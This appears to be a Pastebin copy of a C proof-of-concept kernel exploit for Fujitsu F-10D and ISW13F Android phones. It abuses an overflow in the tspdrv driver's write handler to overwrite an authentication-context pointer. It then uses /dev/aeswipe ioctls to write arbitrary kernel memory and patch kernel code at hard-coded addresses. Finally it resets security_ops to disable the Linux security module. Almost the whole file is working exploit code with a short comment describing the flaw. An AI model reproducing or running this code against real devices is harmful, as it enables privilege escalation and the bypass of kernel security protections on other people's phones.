Advertisement
goroh_kun

f10dunlock_test31.c

Nov 12th, 2012
825
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.27 KB | None | 0 0
  1. /*
  2.  *  Copyright (c) 2012 goroh_kun
  3.  *
  4.  *  2012/09/03
  5.  *  goroh.kun@gmail.com
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdint.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <fcntl.h>
  13. #include <errno.h>
  14. #include <sys/stat.h>
  15. #include <sys/mman.h>
  16. #include <sys/ioctl.h>
  17.  
  18. void memdump(char* addr, int num)
  19. {
  20.     int i, j;
  21.     int n = (num + 15) / 16;
  22.     for (j=0; j<n; j++){
  23.         printf("%08x : ", addr);
  24.         for(i=0; i<16; i++){
  25.             printf("%02x ", *addr++);
  26.         }
  27.         addr -= 16;
  28.         for(i=0; i<16; i++){
  29.             if (*addr>=0x20 && *addr<0x80) {
  30.                  printf("%c", *addr);
  31.             } else {
  32.                 printf(".");
  33.             }
  34.             addr++;
  35.         }
  36.         printf("\n");
  37.     }
  38. }
  39.  
  40. #if 0
  41. ########################################################################################
  42. There is vulnerability in function "write" in kernel/drivers/tspdrv/tspdrv.c.
  43.  
  44. static ssize_t write(struct file *file, const char *buf, size_t count, loff_t *ppos)
  45. {
  46. ....
  47.     /* Copy immediately the input buffer */
  48.     if (0 != copy_from_user(g_cWriteBuffer, buf, count))
  49.     {
  50.         /* Failed to copy all the data, exit */
  51.         DbgOut((KERN_ERR "tspdrv: copy_from_user failed.\n"));
  52.         return 0;
  53.     }
  54.  
  55.     /* Check buffer size */
  56.     if ((count <= SPI_HEADER_SIZE) || (count > SPI_BUFFER_SIZE))
  57.     {
  58.         DbgOut((KERN_ERR "tspdrv: invalid write buffer size.\n"));
  59.         return 0;
  60.     }
  61. ....
  62. }
  63.  
  64.  
  65.   We have to check the parameter "count" *before* using copy_from_user.
  66.   Or if we set the parameter larger than g_cWriteBuffer size, it occurs memory overflow.
  67.   In this case, I override a variable named g_lptsAuthContext by using this vulnerability.
  68.   The variable is located like bellow.
  69.  
  70. g_cWriteBuffer    : 0xc09ae6a8
  71. g_CalibrateBuffer : 0xc09ae6e0
  72. g_lptsAuthContext : 0xc09ae6fc
  73.  
  74. ########################################################################################
  75. #endif
  76.  
  77. #define BUF_SIZE  (0xc09ae700 - 0xc09ae6a8)
  78. #define TSPDRV_MAGIC_NUMBER                 0x494D4D52
  79. void set_lptsAuthContext(unsigned int addr)
  80. {
  81.   char buf[BUF_SIZE] = {0};
  82.   buf[BUF_SIZE - 4] = addr & 0xff;
  83.   buf[BUF_SIZE - 3] = (addr >> 8) & 0xff;
  84.   buf[BUF_SIZE - 2] = (addr >> 16) & 0xff;
  85.   buf[BUF_SIZE - 1] = (addr >> 24) & 0xff;
  86.   int fdtsp = open("/dev/tspdrv", O_RDWR);
  87.   int ret = ioctl(fdtsp, TSPDRV_MAGIC_NUMBER, 0);
  88.   ret = write(fdtsp, buf, BUF_SIZE);
  89.   close(fdtsp);
  90. }
  91.  
  92. /*
  93. ...
  94. 100001a0 : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ................
  95. 100001b0 : -- -- -- -- -- -- -- -- 00 00 00 00 aa aa aa aa ................
  96. 100001c0 : -- -- -- -- -- -- -- -- -- -- -- -- 01 00 00 00 ................
  97. ...
  98. 10000250 :*xx xx xx xx -- -- -- -- -- -- -- -- -- -- -- -- ................
  99. ...
  100. * pid is stored on xx xx xx xx, when /dev/aeswipe is opened.
  101. * an ioctl AUTH_IOCTL_SET_TIMEOUT value is stored on aa aa aa aa.
  102. */
  103.  
  104. typedef unsigned int uint32;
  105. typedef int int32;
  106. typedef struct _tag_TrIoctlHeader
  107. {
  108.     uint32 uiSize;          /* INOUT: Total size of the structure including header.         */
  109.                             /*        On input it contains the size of the input buffer.    */
  110.                             /*        On output it contains the size of the output buffer.  */
  111.  
  112.     uint32 uiOperationId;   /*    IN: ID of the desired operation. Needed for TransportIOCL */
  113.                             /*        or on systems where everything is tunneled through a  */
  114.                             /*        single IOCTL. See TrOperationId.                      */
  115.  
  116.     int32  retCode;         /*   OUT: Return code of the IOCTL.                             */
  117. } tsTrIoctlHeader;
  118.  
  119. typedef struct _tag_TrTimeoutIoctlBuffer
  120. {
  121.     tsTrIoctlHeader sHeader;   /* INOUT: Header.         */
  122.     uint32          uiTimeout; /*    IN: Timeout value.  */
  123. } tsTrTimeoutIoctlBuffer;
  124. #define AUTH_IOCTL_BASE ('x')
  125. #define AUTH_IOCTL_SET_TIMEOUT          _IOWR( AUTH_IOCTL_BASE, 10, tsTrTimeoutIoctlBuffer )
  126.  
  127. void mempatch0(unsigned addr)
  128. {
  129.   char buf[0x300] = {0};
  130.   set_lptsAuthContext((unsigned)buf);
  131.   int fdaes = open("/dev/aeswipe", O_RDWR);
  132.   usleep(10000);
  133.   set_lptsAuthContext(addr - 0x1b8);
  134.   close(fdaes);
  135.   usleep(10000);
  136.   set_lptsAuthContext(0);
  137. }
  138.  
  139. void mempatch(int fd, unsigned addr, unsigned value)
  140. {
  141.   tsTrTimeoutIoctlBuffer param = {0};
  142.   param.sHeader.uiSize = sizeof(param);
  143.   param.uiTimeout = value;
  144.  
  145.   set_lptsAuthContext(addr - 0x1bc);
  146.   ioctl(fd, AUTH_IOCTL_SET_TIMEOUT, &param);
  147.   usleep(10000);
  148.   set_lptsAuthContext(0);
  149. }
  150.  
  151. static const unsigned original_code[] = {
  152.   0xe24cb004, // SUB             R11, R12, #4
  153.   0xe1a06001, // MOV             R6, R1
  154. };
  155.  
  156. static const unsigned patched_code[] = {
  157.   0xe5900084, // LDR             R0, [R0,#private] ; file->private
  158.   0xe89da8f0, // LDMFD           SP, {R4-R7,R11,SP,PC}
  159. };
  160.  
  161. static int is_isw13f = 0;
  162. static int is_newf10d = 0;
  163. static int is_newf10d2 = 0;
  164. unsigned int get_private(int fd, int fd2, unsigned aesbuf)
  165. {
  166.   char buf[0x10] = {0};
  167.   unsigned int ret = 0;
  168.  
  169.   if(is_isw13f){
  170.     mempatch(fd2, 0xc043f9e8, patched_code[0]); // module_entry_write+0x8
  171.     mempatch(fd2, 0xc043f9ec, patched_code[1]); // module_entry_write+0xc
  172.   }else if(is_newf10d){
  173.     mempatch(fd2, 0xc044d238, patched_code[0]); // module_entry_write+0x8
  174.     mempatch(fd2, 0xc044d23c, patched_code[1]); // module_entry_write+0xc
  175.   }else if(is_newf10d2){
  176.     mempatch(fd2, 0xc044d9ac, patched_code[0]); // module_entry_write+0x8
  177.     mempatch(fd2, 0xc044d9b0, patched_code[1]); // module_entry_write+0xc
  178.   }else{
  179.     mempatch(fd2, 0xc044d20c, patched_code[0]); // module_entry_write+0x8
  180.     mempatch(fd2, 0xc044d210, patched_code[1]); // module_entry_write+0xc
  181.   }
  182.  
  183.   set_lptsAuthContext((unsigned)aesbuf);
  184.   ret = write(fd, buf, 1);
  185.   usleep(10000);
  186.  
  187.   if(is_isw13f){
  188.     mempatch(fd2, 0xc043f9e8, original_code[0]); // module_entry_write+0x8
  189.     mempatch(fd2, 0xc043f9ec, original_code[1]); // module_entry_write+0xc
  190.   }else if(is_newf10d){
  191.     mempatch(fd2, 0xc044d238, original_code[0]); // module_entry_write+0x8
  192.     mempatch(fd2, 0xc044d23c, original_code[1]); // module_entry_write+0xc
  193.   }else if(is_newf10d2){
  194.     mempatch(fd2, 0xc044d9ac, original_code[0]); // module_entry_write+0x8
  195.     mempatch(fd2, 0xc044d9b0, original_code[1]); // module_entry_write+0xc
  196.   }else{
  197.     mempatch(fd2, 0xc044d20c, original_code[0]); // module_entry_write+0x8
  198.     mempatch(fd2, 0xc044d210, original_code[1]); // module_entry_write+0xc
  199.   }
  200.   return ret;
  201. }
  202.  
  203. int main(int argc, char** argv)
  204. {
  205.   char buf[0x300] = {0};
  206.   int recovery_context = 1;
  207.   unsigned int context_addr = 0;
  208.   if(argc >= 2 && atoi(argv[1])==1){
  209.     printf("use ISW13F address\n");
  210.     is_isw13f = 1;
  211.   }
  212.   if(argc >= 2 && atoi(argv[1])==2){
  213.     printf("use new F-10D address\n");
  214.     is_newf10d = 1;
  215.   }
  216.   if(argc >= 2 && atoi(argv[1])==3){
  217.     printf("use new F-10D address(2)\n");
  218.     is_newf10d2 = 1;
  219.   }
  220.  
  221.   int fdaes = open("/dev/aeswipe", O_RDWR);
  222.   printf("fdaes = %d\n", fdaes);
  223.   if(fdaes < 0){
  224.     printf("open aeswipe error, so try to disable LSM without recovery g_lptsAuthContext\n");
  225.     recovery_context = 0;
  226.   }
  227.  
  228.   set_lptsAuthContext((unsigned)buf);
  229.   int fdaes2 = open("/dev/aeswipe", O_RDWR);
  230.   usleep(10000);
  231.   set_lptsAuthContext(0);
  232.   printf("fdaes2 = %d\n", fdaes2);
  233.  
  234.   //AuthTransportIOControl disable AbortCheck
  235.   if(is_isw13f){
  236.     mempatch0(0xc043e2fc); // 0xc043e2fc, 0xc043e310 = 0
  237.     mempatch0(0xc043e300); // 0xc043e300, 0xc043e314 = 0
  238.     mempatch0(0xc043e304); // 0xc043e304, 0xc043e318 = 0
  239.     mempatch0(0xc043e308); // 0xc043e308, 0xc043e31c = 0
  240.     mempatch0(0xc043e30c); // 0xc043e30c, 0xc043e320 = 0
  241.   }else if(is_newf10d){
  242.     mempatch0(0xc044bb4c); // 0xc044bb4c, 0xc044bb60 = 0
  243.     mempatch0(0xc044bb50); // 0xc044bb50, 0xc044bb64 = 0
  244.     mempatch0(0xc044bb54); // 0xc044bb54, 0xc044bb68 = 0
  245.     mempatch0(0xc044bb58); // 0xc044bb58, 0xc044bb6c = 0
  246.     mempatch0(0xc044bb5c); // 0xc044bb5c, 0xc044bb70 = 0
  247.   }else if(is_newf10d2){
  248.     mempatch0(0xc044c2c0); // 0xc044c2c0, 0xc044c2d4 = 0
  249.     mempatch0(0xc044c2c4); // 0xc044c2c4, 0xc044c2d8 = 0
  250.     mempatch0(0xc044c2c8); // 0xc044c2c8, 0xc044c2dc = 0
  251.     mempatch0(0xc044c2cc); // 0xc044c2cc, 0xc044c2e0 = 0
  252.     mempatch0(0xc044c2d0); // 0xc044c2d0, 0xc044c2e4 = 0
  253.   }else{
  254.     mempatch0(0xc044bb14); // 0xc044bb14, 0xc044bb28 = 0
  255.     mempatch0(0xc044bb18); // 0xc044bb18, 0xc044bb2c = 0
  256.     mempatch0(0xc044bb1c); // 0xc044bb1c, 0xc044bb30 = 0
  257.     mempatch0(0xc044bb20); // 0xc044bb20, 0xc044bb34 = 0
  258.     mempatch0(0xc044bb24); // 0xc044bb24, 0xc044bb38 = 0
  259.   }
  260.  
  261.   if(recovery_context){
  262.     context_addr = get_private(fdaes, fdaes2, (unsigned)buf);
  263.     printf("file->private = %08x\n", context_addr);
  264.     if(context_addr >= 0xffff0000) context_addr = 0;
  265.     if(context_addr <= 0xc0000000) context_addr = 0;
  266.   }
  267.  
  268.   if(is_isw13f){
  269.     mempatch(fdaes2, 0xc09e5290, 0xc09308ec); // security_ops = default_security_ops
  270.   }else if(is_newf10d2){
  271.     mempatch(fdaes2, 0xc098ed68, 0xc08da184); // security_ops = default_security_ops
  272.   }else{
  273.     mempatch(fdaes2, 0xc098ed48, 0xc08da184); // security_ops = default_security_ops
  274.   }
  275.  
  276.   set_lptsAuthContext((unsigned)buf);
  277.   close(fdaes2);
  278.   usleep(10000);
  279.  
  280.   set_lptsAuthContext(context_addr);
  281.   close(fdaes);
  282.   return 0;
  283. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement